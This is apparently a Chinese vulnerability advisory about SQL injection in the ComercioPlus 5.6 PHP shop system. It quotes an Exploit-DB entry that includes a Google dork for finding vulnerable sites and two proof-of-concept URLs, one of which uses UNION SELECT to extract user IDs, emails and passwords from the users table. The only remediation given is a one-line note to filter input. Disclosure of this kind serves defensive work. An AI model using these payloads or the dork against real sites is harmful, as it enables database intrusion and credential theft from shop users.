ComercioPlus 5.6 SQL注入漏洞

ComercioPlus是一款使用PHP编写的虚拟商店系统，ComercioPlus 5.6版中的pp_productos.php文件存在 SQL注入漏洞，可能导致敏感信息泄露。 [+]info:
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# Exploit Title: Comerciosonline CMS SQLi
# Google Dork: allintext: " Servicio ofrecido por ComerciosOnLine "
# Date: 27/01/2011
# Author: Daniel Godoy

# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web:
www.delincuentedigital.com.ar
# Software Link:
http://www.comerciosonline.com/index.php?p=8
# Version: All
# Tested on: Linux, Windows
[+]poc:
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http://localhost/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,5--
http://localhost/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,codigousuario,email,password)+from+ph_usuarios--
[+]Reference:
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http://www.exploit-db.com/exploits/16060
修复：pp_productos.php进行过滤